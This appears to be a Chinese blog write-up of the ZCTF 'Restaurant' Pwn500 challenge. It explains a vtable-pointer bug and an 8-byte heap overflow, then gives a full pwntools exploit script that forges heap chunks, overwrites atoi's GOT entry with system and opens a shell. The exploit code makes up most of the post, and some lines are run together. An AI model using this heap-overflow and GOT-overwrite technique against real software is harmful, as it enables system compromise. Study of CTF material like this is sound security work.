版权声明:本文为博主原创文章,未经博主允许不得转载。

 这道压轴的题也是名副其实,很有分量。这也是自己第二次做C++类型的PWN。含有两个漏洞,缺一不可,一个漏洞将指定位置覆盖为对象虚表的地址,另外一个漏洞用来堆溢出(DW-Shoot)。

第一个漏洞所在位置:

第二个漏洞所在位置:如果连续对一种食物编辑评论,第二次则可以8字节的溢出,覆盖下一个堆块的堆头。

由于堆块在分配时的对齐策略,堆块分配后可以使用的内存可能比申请的要大。这道题目中,主食/主菜/汤都有3个种类,只有同时能选中主食的第二种,主菜的第二种才能溢出,而这个选择是随机的,POC所以并不能每次都成功,我这个POC成功的概率为1/9,其实多试几次就能顺利拿到shell。我大概试了3-4次就拿到了shell。上图:

 from pwn import *
import time
#by wangaohui
#context.log_level = 'debug' s= remote('127.0.0.1',10001)
time.sleep(2)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant')[0])
raw_input('go!')
s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('you are the luckey ')
heap = int(s.recvuntil('th guest.\n')[:-10])
print 'heapaddr is %x' %heap
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ');
vtp = 0x404710
data = 'a'*10 + '\x00' + 'a'*5 + '\x1c\x47\x40\x00'
s.sendline(data)
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a staple food, enjoy it!') s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!')
'''
s.recvuntil('8. Finish your order.')
s.sendline('3')
s.recvuntil('Successfully order a staple food, enjoy it!')
''' s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('xxx')
s.recvuntil('How does this dish taste: ')
s.sendline('yyy') fakefd = heap + 0x20
fakebk = heap + 0x28
appcom = 'a'*40 + p64(0x80) + p64(0x90)
tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') appcom = 'xxx'
tastecom = p64(0x6060A0)#atoi's got
s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
atoiaddr = int(s.recvuntil('\n')[:-1])
print 'atoiaddr is: %x' % atoiaddr
systemaddr = atoiaddr - 0x36360 + 0x414F0
print 'systemaddr is: %x' % systemaddr appcom = 'xxx'
tastecom = 'a'*8 + p64(systemaddr)
s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('8. Finish your order.')
s.sendline('') s.recvuntil('3.Just so so!')
s.sendline('3.Just so so!')
s.recvuntil('Thank you for your comment,bye!')
s.interactive()

ZCTF-Restaurant-Pwn500的更多相关文章

  1. CodeForces - 261B Maxim and Restaurant

    http://codeforces.com/problemset/problem/261/B 题目大意:给定n个数a1-an(n<=50,ai<=50),随机打乱后,记Si=a1+a2+a ...

  2. Flo's Restaurant[HDU1103]

    Flo's Restaurant Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others) ...

  3. Codeforces Testing Round #12 B. Restaurant 贪心

    B. Restaurant Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://codeforces.com/contest/597/problem ...

  4. HDU-2368 Alfredo's Pizza Restaurant

    http://acm.hdu.edu.cn/status.php Alfredo's Pizza Restaurant Time Limit: 1000/1000 MS (Java/Others)   ...

  5. hdoj 4883 TIANKENG’s restaurant【贪心区间覆盖】

    TIANKENG’s restaurant Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 131072/65536 K (Java/O ...

  6. hdu2368Alfredo's Pizza Restaurant

    Problem Description Traditionally after the Local Contest, judges and contestants go to their favour ...

  7. HDOJ 4883 TIANKENG’s restaurant

    称号: TIANKENG's restaurant Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 131072/65536 K (Ja ...

  8. Restaurant

    Restaurant Time Limit:4000MS     Memory Limit:262144KB     64bit IO Format:%I64d & %I64u Submit  ...

  9. 九校联考_24OI——餐馆restaurant

    凉心模拟D1T1--最简单的一道题 TAT 餐馆(restaurant) 题目背景 铜企鹅是企鹅餐馆的老板,他正在计划如何使得自己本年度收益增加. 题目描述 共有n 种食材,一份食材i 需要花ti 小 ...

  10. Codeforces828 A. Restaurant Tables

    A. Restaurant Tables time limit per test 1 second memory limit per test 256 megabytes input standard ...

随机推荐

  1. 武汉科技大学ACM :1005: A+B for Input-Output Practice (V)

    Problem Description Your task is to calculate the sum of some integers. Input Input contains an inte ...

  2. eclipse提交hadoop集群跑程序

    在eclipse下搭建hadoop后,测试wordcount程序,右击 Run on hadoop 程序跑成功后,发现“INFO - Job job_local401325246_0001 compl ...

  3. mongodb安装服务

    一.准备工作 1:下载:  http://www.mongodb.org/downloads 2:解压到ZIP到 D:\Mongodb   ,在此目录下再建立2个目录  D:\Mongodb\db和D ...

  4. createwindow

    WNDCLASS wndclass; wndclass.hbrBackground=(HBRUSH)getstockobject(WHITE_BRUSH); wndclass.hCursor=Load ...

  5. 微信php接入设计案列

    <?php namespace Home\Controller; use Think\Controller; use Com\Wechat; use Com\WechatAuth; class ...

  6. Visual Studio调试之断点进阶篇

    Visual Studio调试之断点进阶篇 在上一篇文章Visual Studio调试之断点基础篇里面介绍了什么是断点,INT 是Intel系列CPU的一个指令,可以让程序产生一个中断或者异常.程序中 ...

  7. Spark保存到HDFS或本地文件相关问题

    spark中saveAsTextFile如何最终生成一个文件 http://www.lxway.com/641062624.htm 一般而言,saveAsTextFile会按照执行task的多少生成多 ...

  8. recovery编译学习笔记

    开始建立我们要编译机器的device目录 ./build/tools/device/mkvendor.sh htc vivo ~/boot.img 需要自己配置的部分: 位置:cm/deviec/品牌 ...

  9. Kill Process by Name

    Kill Process by Name(works in: Microsoft Windows 95/98/ME/NT/2000/XP)It is sometimes necessary to te ...

  10. BZOJ3401: [Usaco2009 Mar]Look Up 仰望

    3401: [Usaco2009 Mar]Look Up 仰望 Time Limit: 3 Sec  Memory Limit: 128 MBSubmit: 87  Solved: 58[Submit ...